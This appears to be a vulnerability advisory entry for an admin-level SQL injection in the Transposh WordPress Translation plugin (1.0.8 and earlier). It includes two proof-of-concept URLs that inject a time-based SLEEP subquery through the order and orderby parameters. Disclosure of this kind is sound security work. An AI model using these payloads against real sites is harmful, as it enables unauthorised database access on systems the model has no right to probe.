WordPress Plugin Vulnerabilities

Transposh WordPress Translation <= 1.0.8 - Admin+ SQL Injection

Description

The plugin does not sanitise and escape the order and orderby parameters before using them in a SQL statement, leading to a SQL injection

Proof of Concept

https://example.com/wp-admin/admin.php?page=tp_editor&action=filter-by&order=+AND+(SELECT+42+FROM+(SELECT(SLEEP(5)))b)
https://example.com/wp-admin/admin.php?page=tp_editor&action=filter-by&orderby=lang+AND+(SELECT+42+FROM+(SELECT(SLEEP(5)))b)

Affects Plugins

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
Julien Ahrens
Verified
Yes

Timeline

Publicly Published
2022-07-26 (about 1 years ago)
Added
2022-07-26 (about 1 years ago)
Last Updated
2022-08-25 (about 1 years ago)

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